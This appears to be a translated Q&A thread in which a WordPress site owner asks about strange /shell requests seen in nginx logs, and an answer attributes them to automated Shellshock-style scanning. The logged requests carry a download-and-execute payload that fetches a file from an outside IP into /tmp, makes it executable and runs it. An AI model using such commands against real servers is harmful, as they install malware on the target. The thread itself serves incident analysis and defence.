php - 这是哪种类型的黑客攻击？从不存在的 URL 访问不存在的 shell 文件

Question

我在我的网站上使用 Wordpress，最近我阻止了一个用大量后门(字面意思是数千个后门)感染我的网站的黑客。我花了一个半月的时间和他打赌。这不是我的错，在我之前工作的那个人从未更新过网站。

在此之后，我注意到对不存在的文件的一些奇怪访问，我认为黑客正试图从我不使用的 wordpress 插件中找到已知的漏洞利用。没关系，我一点都不在乎。但是其中一项尝试引起了我的注意。

95.249.95.104 - - [17/Jan/2020:10:17:29 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
94.200.107.2 - - [17/Jan/2020:13:52:28 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
197.226.122.184 - - [17/Jan/2020:14:57:36 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"

我隐藏了部分 URL，对不起。

IP 总是在变化，即使是连续请求的差异小于一秒，也可能是 DDoS。用户代理通常也会发生变化，这里应有尽有:iPhone、iPad、Android、Windows 7、8、10、Firefox、Google Chrome、Internet Explorer……但 Linux 和 Mac。这 3 个请求是唯一的异常(exception)。

我注意到 URL 上有一些 shell 命令。这些:

cd /tmp;
rm -rf .j;
wget http://91.92.66.124/..j/.j;
chmod 777 .j;
sh .j;
echo DONE HTTP/1.1

我的/tmp 目录中没有同名的文件夹或文件。

这个“karin”网址是一个很久不存在的旧网站。我不知道他是怎么知道这个网址的，我也不知道。每次我尝试访问在 NGINX 上配置的一些 URL，但路径不存在像这个 karin 一样，我得到一个 404 错误。但是这些尝试给出了 400 错误。

404是正常的，是因为这里什么都没有。但是400？这意味着这里有东西，但它无法处理发送的数据。我把nginx配置去掉到这个网址，我在其他网址试了一下。我总是遇到404错误，我试过这个:

***.***.***.*** - - [17/Jan/2020:15:29:20 -0300] "joa***com.br" "GET /shell?cd+/var/www/html/conf;mkdir+teste HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"

所以我的问题是:我应该害怕这个命令在这个 URL 上返回 400 错误吗？为什么我不能重现这个？显然那些尝试失败了，我应该确定他们失败了吗？这是哪种攻击方式？我从来没有听说过像这样的“通过 URL 注入(inject) shell 脚本”。

Answer 1

它是由脚本进行的自动扫描，用于查找具有 bashdoor 的 Web 服务器。漏洞。

作为预防措施，您可以阻止所有包含 shell 等单词的 url。这种类型的扫描很常见，网络服务器防火墙可以轻松处理攻击预防。